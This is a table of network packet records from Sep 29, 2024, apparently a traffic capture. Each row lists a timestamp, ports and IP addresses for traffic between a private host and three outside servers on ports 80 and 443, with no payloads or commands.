Sep 29, 2024 00:53:25.209661961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.209667921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.209681034 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.209701061 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.209733009 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.209870100 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.209935904 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.209994078 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.209994078 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.210010052 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.210099936 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.210159063 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.210201025 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.210227966 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.210232973 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.210268974 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.210275888 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.210541964 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.210582018 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.210624933 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.210629940 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.210652113 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.210670948 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.210850954 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.210896969 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.210925102 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.210930109 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.210982084 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.210982084 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.211041927 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.211085081 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.211136103 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.211142063 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.211184978 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.211184978 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.211502075 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.211543083 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.211581945 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.211586952 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.211607933 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.211654902 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.211709023 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.211749077 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.211798906 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.211802959 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.211846113 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.211846113 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.212029934 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.212073088 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.212099075 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.212104082 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.212160110 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.212177992 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.220963001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.220977068 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.220988035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.220994949 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.221002102 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.221039057 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.221043110 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.221050978 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.221057892 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.221062899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.221067905 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.221077919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.221084118 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.221090078 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.221091986 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.221107006 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.221111059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.221117973 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.221123934 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.221133947 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.221138954 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.221175909 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.268512964 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268520117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268527031 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268543959 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268551111 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268557072 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268563986 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268621922 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.268656015 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268662930 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268668890 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268675089 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268733025 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268738985 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268744946 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268755913 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268763065 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268774033 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268780947 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268784046 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.268784046 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.268798113 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.268821955 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.268841982 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268848896 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268855095 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268898010 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.268956900 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268964052 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268971920 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268975019 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268980980 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268986940 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.268994093 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269000053 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.269022942 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.269043922 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.269058943 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269064903 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269071102 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269077063 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269082069 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269088030 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269093037 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269109011 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.269128084 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.269138098 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269145012 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269153118 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.269181013 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.269191980 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269198895 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269206047 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269217014 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269222975 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269229889 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269260883 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.269288063 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269294024 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269299984 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269309998 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269321918 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269328117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269334078 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269350052 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.269375086 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.269423962 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269431114 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269437075 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269442081 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269448042 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269453049 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.269468069 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.269481897 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.269514084 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.269995928 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270006895 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270015001 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270056009 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.270068884 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.270159006 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270164967 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270175934 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270181894 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270226955 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.270445108 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270451069 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270457029 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270518064 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.270637989 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270644903 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270653963 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270658970 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270705938 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.270767927 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270773888 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270780087 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270785093 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270791054 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270796061 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270802021 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270821095 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270823002 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.270827055 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270833015 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270838976 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270839930 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.270844936 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270862103 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.270890951 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.270900011 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270905972 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.270957947 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.271270037 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.271275043 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.271286964 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.271289110 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.271291971 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.271297932 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.271305084 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.271349907 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.284873962 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.284955978 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.284969091 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.284972906 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.284980059 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.284991980 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.285005093 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.285011053 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.285068989 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.285073996 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.285080910 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.285092115 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.285096884 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.285103083 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.285110950 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.285124063 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.285128117 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.285128117 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.285130978 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.285136938 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.285137892 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.285144091 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.285145044 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.285167933 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.285192013 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.285192966 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.285200119 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.285207033 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.285217047 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.285259962 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.287858009 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.287938118 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.287941933 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.287949085 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.287955046 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.287961006 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.287996054 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.288000107 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.288002968 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.288073063 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.288073063 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.288126945 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.288134098 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.288139105 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.288178921 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.288192034 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.288197994 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.288203001 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.288212061 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.288228989 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.288228989 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.288254023 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.288626909 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.288635015 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.288641930 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.288703918 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.288714886 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.288718939 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.288732052 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.288739920 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.288847923 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.288847923 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.293324947 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293332100 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293344021 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293438911 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293445110 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293451071 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293467999 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.293467999 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.293489933 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293492079 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.293495893 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293544054 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.293575048 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293580055 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293595076 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293601990 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293632030 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.293684959 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.293710947 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293725967 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293732882 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293745041 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293755054 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293759108 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293824911 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293831110 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293837070 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293843985 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.293843985 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.293929100 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293930054 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.293941975 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.293950081 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294017076 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.294018030 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.294085979 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294090986 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294095993 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294101000 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294106960 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294112921 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294117928 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294126987 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294140100 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294142008 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.294147015 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294152975 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294159889 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294166088 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294172049 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294178009 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294183016 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294198036 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.294198036 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.294198036 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.294200897 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294209003 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294214010 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294218063 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.294229031 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294236898 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.294254065 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294258118 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.294260025 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294265985 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294270039 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294276953 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294281006 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294292927 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.294292927 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.294318914 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294326067 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294332981 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.294334888 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.294363976 CEST	49708	80	192.168.2.9	103.130.147.211
